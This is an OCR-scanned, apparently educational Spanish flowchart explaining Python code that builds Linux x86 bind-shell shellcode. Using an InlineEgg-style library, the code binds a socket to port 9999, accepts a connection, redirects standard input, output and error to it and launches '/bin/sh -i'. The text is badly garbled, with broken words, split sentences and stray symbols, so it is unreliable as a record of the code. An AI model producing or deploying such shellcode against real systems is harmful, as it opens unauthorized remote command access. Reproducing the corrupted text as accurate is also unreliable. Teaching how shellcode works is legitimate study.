codigo en Python:
INI CIO
sock =
i
eqq=InlineEqq(Linuxx86Syscall) Crea el shellcode
-►shellcode:
Conecta ei socket (cuyo puntero se encuentra en la pila) ai puerto 9999.
(Socket.AF INET,
Socket.SOCK STREAM)
Crea código para abrir el En la variable sock guarda el nombre del registro en el que sera puesto el puntero del socl (registro %eax)i
sock=eqq.save(sock)
Crea código que ponga en la pila ei va!or del registro cuyo nombre'se encuentra en layariableso.ck/ o Recuerda el lugafde la pila donde ha sido puesto este va!or en la variable sock.
\ | |
eqq.bind(sock, ('0.0.0.0', 9999)) | |
Crea código que conecte ei socket (cuyo manipuiador se encuentra en la pila en la dirección que tenemos en la yariable sock) a puerto 9999. | |
1 |
1 |
eqq.listen(sock,1)
Crea código que inicie la escucha en el socket cuyo manipuiador se encuentra en la dirección aimacenada en lavariable sock.
registro
%eax
I nicią la escucha en el socket cuyo puntero se encuentra en la pila
variable
client
Espera por conexiones dei cliente y crea un nuevo socket para cada nueva conexión. Coioca el puntero nueyo socket en ei registro %eax.
client=eqq.accept(sock, 0, 0)
Crea código que espere por conexiones del cliente y que cree un nuevo socket para cada nueva conexión. Coioca el nombre del registro en el cuai sera coiocado el puntero del socket en la variable clien
client=eqq.save(client)
Crea código que ponga en la pila el yałor del registro cuyo nombre seencuentra en la variablej client. Coioca la dirección en la pila en la que se encuentra este va!or en la variable client. O-
1 | |
eqq.close(sock) |
e el socket cuyo ntra en ia pila en ia i la yariable client. |
Crea código que cierr manipuiador se encue dirección contenida er | |
1 | |
eqq.dup2(client, 0) | |
eqq.dup2(client, 1) | |
eqq.dup2(client. 2) |
Crea código que conecte la entrada, saiida y saiida de errores estandar al socket cuyo puntero se encuentra en la dirección guardada en la variable client.
1 | |
eqq.execve('/bin/sh',('sh','-i')) | |
Crea código que lance comandos |
3 la linea de |
FIN
Pon el va!or del registro %e en t^ pila
besx
variable
client
puntero
de
socket
puntero de socke
-►
-►
Cierra el socket cuyo puntercj) encuentra en ia pila.
Conecta la entrada, saiida y saiida de errores estandar al socket cuyo puntero se encuentra en la pila
-► Lanza ia linea de comandos
FIN